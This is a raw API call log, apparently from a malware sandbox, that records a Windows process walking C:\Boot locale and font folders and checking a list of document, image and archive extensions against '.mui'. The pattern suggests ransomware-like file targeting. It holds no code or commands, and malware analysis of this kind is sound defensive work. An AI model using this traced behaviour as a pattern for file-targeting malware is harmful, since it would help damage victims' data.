[0036.911] lstrlenW (lpString=".ppsm") returned 5 [0036.911] lstrcmpiW (lpString1=".ppsm", lpString2="e.mui") returned -1 [0036.911] lstrlenW (lpString=".ppt") returned 4 [0036.911] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0036.911] lstrlenW (lpString=".pptm") returned 5 [0036.911] lstrcmpiW (lpString1=".pptm", lpString2="e.mui") returned -1 [0036.911] lstrlenW (lpString=".pptx") returned 5 [0036.911] lstrcmpiW (lpString1=".pptx", lpString2="e.mui") returned -1 [0036.911] lstrlenW (lpString=".prn") returned 4 [0036.911] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1 [0036.911] lstrlenW (lpString=".ps") returned 3 [0036.911] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1 [0036.911] lstrlenW (lpString=".psb") returned 4 [0036.911] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1 [0036.911] lstrlenW (lpString=".psd") returned 4 [0036.911] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1 [0036.911] lstrlenW (lpString=".pst") returned 4 [0036.912] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1 [0036.912] lstrlenW (lpString=".ptx") returned 4 [0036.912] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1 [0036.912] lstrlenW (lpString=".pub") returned 4 [0036.912] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1 [0036.912] lstrlenW (lpString=".pwm") returned 4 [0036.912] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1 [0036.912] lstrlenW (lpString=".pxr") returned 4 [0036.912] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1 [0036.912] lstrlenW (lpString=".py") returned 3 [0036.912] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1 [0036.912] lstrlenW (lpString=".qt") returned 3 [0036.912] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1 [0036.912] lstrlenW (lpString=".r3d") returned 4 [0036.912] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1 [0036.912] lstrlenW (lpString=".raf") returned 4 [0036.912] lstrcmpiW (lpString1=".raf", lpString2=".mui") returned 1 [0036.912] lstrlenW (lpString=".rar") returned 4 [0036.912] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0036.912] lstrlenW (lpString=".raw") returned 4 [0036.912] lstrcmpiW (lpString1=".raw", lpString2=".mui") returned 1 [0036.912] FindClose (in: hFindFile=0x6153c8 | out: hFindFile=0x6153c8) returned 1 [0036.912] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x37e06e8 | out: hHeap=0x520000) returned 1 [0036.913] FindNextFileW (in: hFindFile=0x614380, lpFindFileData=0x3e8fa84 | out: lpFindFileData=0x3e8fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0036.913] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x37b06d0 [0036.913] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x3e8f808 | out: lpFindFileData=0x3e8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6153c8 [0036.914] FindNextFileW (in: hFindFile=0x6153c8, lpFindFileData=0x3e8f808 | out: lpFindFileData=0x3e8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0036.914] FindNextFileW (in: hFindFile=0x6153c8, lpFindFileData=0x3e8f808 | out: lpFindFileData=0x3e8f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0036.914] FindClose (in: hFindFile=0x6153c8 | out: hFindFile=0x6153c8) returned 1 [0036.914] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x37b06d0 | out: hHeap=0x520000) returned 1 [0036.914] FindNextFileW (in: hFindFile=0x614380, lpFindFileData=0x3e8fa84 | out: lpFindFileData=0x3e8fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0036.914] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x37b06d0 [0036.914] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x3e8f808 | out: lpFindFileData=0x3e8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6153c8 [0036.915] FindNextFileW (in: hFindFile=0x6153c8, lpFindFileData=0x3e8f808 | out: lpFindFileData=0x3e8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0036.915] FindNextFileW (in: hFindFile=0x6153c8, lpFindFileData=0x3e8f808 | out: lpFindFileData=0x3e8f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0036.915] FindClose (in: hFindFile=0x6153c8 | out: hFindFile=0x6153c8) returned 1 [0036.915] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x37b06d0 | out: hHeap=0x520000) returned 1 [0036.915] FindNextFileW (in: hFindFile=0x614380, lpFindFileData=0x3e8fa84 | out: lpFindFileData=0x3e8fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0036.915] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x37b06d0 [0036.915] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x3e8f808 | out: lpFindFileData=0x3e8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6153c8 [0036.916] FindNextFileW (in: hFindFile=0x6153c8, lpFindFileData=0x3e8f808 | out: lpFindFileData=0x3e8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0036.916] FindNextFileW (in: hFindFile=0x6153c8, lpFindFileData=0x3e8f808 | out: lpFindFileData=0x3e8f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0036.916] FindClose (in: hFindFile=0x6153c8 | out: hFindFile=0x6153c8) returned 1 [0036.916] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x37b06d0 | out: hHeap=0x520000) returned 1 [0036.916] FindNextFileW (in: hFindFile=0x614380, lpFindFileData=0x3e8fa84 | out: lpFindFileData=0x3e8fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0036.916] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x37b06d0 [0036.916] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x3e8f808 | out: lpFindFileData=0x3e8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6153c8 [0036.918] FindNextFileW (in: hFindFile=0x6153c8, lpFindFileData=0x3e8f808 | out: lpFindFileData=0x3e8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0036.918] FindNextFileW (in: hFindFile=0x6153c8, lpFindFileData=0x3e8f808 | out: lpFindFileData=0x3e8f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0036.918] FindClose (in: hFindFile=0x6153c8 | out: hFindFile=0x6153c8) returned 1 [0036.918] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x37b06d0 | out: hHeap=0x520000) returned 1 [0036.918] FindNextFileW (in: hFindFile=0x614380, lpFindFileData=0x3e8fa84 | out: lpFindFileData=0x3e8fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0036.918] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x37b06d0 [0036.918] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x3e8f808 | out: lpFindFileData=0x3e8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6153c8 [0036.919] FindNextFileW (in: hFindFile=0x6153c8, lpFindFileData=0x3e8f808 | out: lpFindFileData=0x3e8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0036.919] FindNextFileW (in: hFindFile=0x6153c8, lpFindFileData=0x3e8f808 | out: lpFindFileData=0x3e8f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0036.919] FindClose (in: hFindFile=0x6153c8 | out: hFindFile=0x6153c8) returned 1 [0036.919] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x37b06d0 | out: hHeap=0x520000) returned 1 [0036.919] FindNextFileW (in: hFindFile=0x614380, lpFindFileData=0x3e8fa84 | out: lpFindFileData=0x3e8fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0036.919] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x37b06d0 [0036.919] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x3e8f808 | out: lpFindFileData=0x3e8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6153c8 [0036.920] FindNextFileW (in: hFindFile=0x6153c8, lpFindFileData=0x3e8f808 | out: lpFindFileData=0x3e8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0036.920] FindNextFileW (in: hFindFile=0x6153c8, lpFindFileData=0x3e8f808 | out: lpFindFileData=0x3e8f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0036.920] FindClose (in: hFindFile=0x6153c8 | out: hFindFile=0x6153c8) returned 1 [0036.920] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x37b06d0 | out: hHeap=0x520000) returned 1 [0036.920] FindNextFileW (in: hFindFile=0x614380, lpFindFileData=0x3e8fa84 | out: lpFindFileData=0x3e8fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0036.920] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x37b06d0 [0036.920] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x3e8f808 | out: lpFindFileData=0x3e8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6153c8 [0036.921] FindNextFileW (in: hFindFile=0x6153c8, lpFindFileData=0x3e8f808 | out: lpFindFileData=0x3e8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0036.921] FindNextFileW (in: hFindFile=0x6153c8, lpFindFileData=0x3e8f808 | out: lpFindFileData=0x3e8f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0036.921] FindClose (in: hFindFile=0x6153c8 | out: hFindFile=0x6153c8) returned 1 [0036.922] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x37b06d0 | out: hHeap=0x520000) returned 1 [0036.922] FindNextFileW (in: hFindFile=0x614380, lpFindFileData=0x3e8fa84 | out: lpFindFileData=0x3e8fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0036.922] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x37b06d0 [0036.922] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x3e8f808 | out: lpFindFileData=0x3e8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6153c8 [0036.922] FindNextFileW (in: hFindFile=0x6153c8, lpFindFileData=0x3e8f808 | out: lpFindFileData=0x3e8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0036.922] FindNextFileW (in: hFindFile=0x6153c8, lpFindFileData=0x3e8f808 | out: lpFindFileData=0x3e8f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0036.922] FindClose (in: hFindFile=0x6153c8 | out: hFindFile=0x6153c8) returned 1 [0036.922] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x37b06d0 | out: hHeap=0x520000) returned 1 [0036.922] FindNextFileW (in: hFindFile=0x614380, lpFindFileData=0x3e8fa84 | out: lpFindFileData=0x3e8fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0036.922] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x37b06d0 [0036.922] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x3e8f808 | out: lpFindFileData=0x3e8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6153c8 [0036.923] FindNextFileW (in: hFindFile=0x6153c8, lpFindFileData=0x3e8f808 | out: lpFindFileData=0x3e8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0036.923] FindNextFileW (in: hFindFile=0x6153c8, lpFindFileData=0x3e8f808 | out: lpFindFileData=0x3e8f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0036.923] FindClose (in: hFindFile=0x6153c8 | out: hFindFile=0x6153c8) returned 1 [0036.923] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x37b06d0 | out: hHeap=0x520000) returned 1 [0036.923] FindNextFileW (in: hFindFile=0x614380, lpFindFileData=0x3e8fa84 | out: lpFindFileData=0x3e8fa84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0036.924] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x37b06d0 [0036.924] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x3e8f808 | out: lpFindFileData=0x3e8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6153c8 [0036.924] FindNextFileW (in: hFindFile=0x6153c8, lpFindFileData=0x3e8f808 | out: lpFindFileData=0x3e8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, 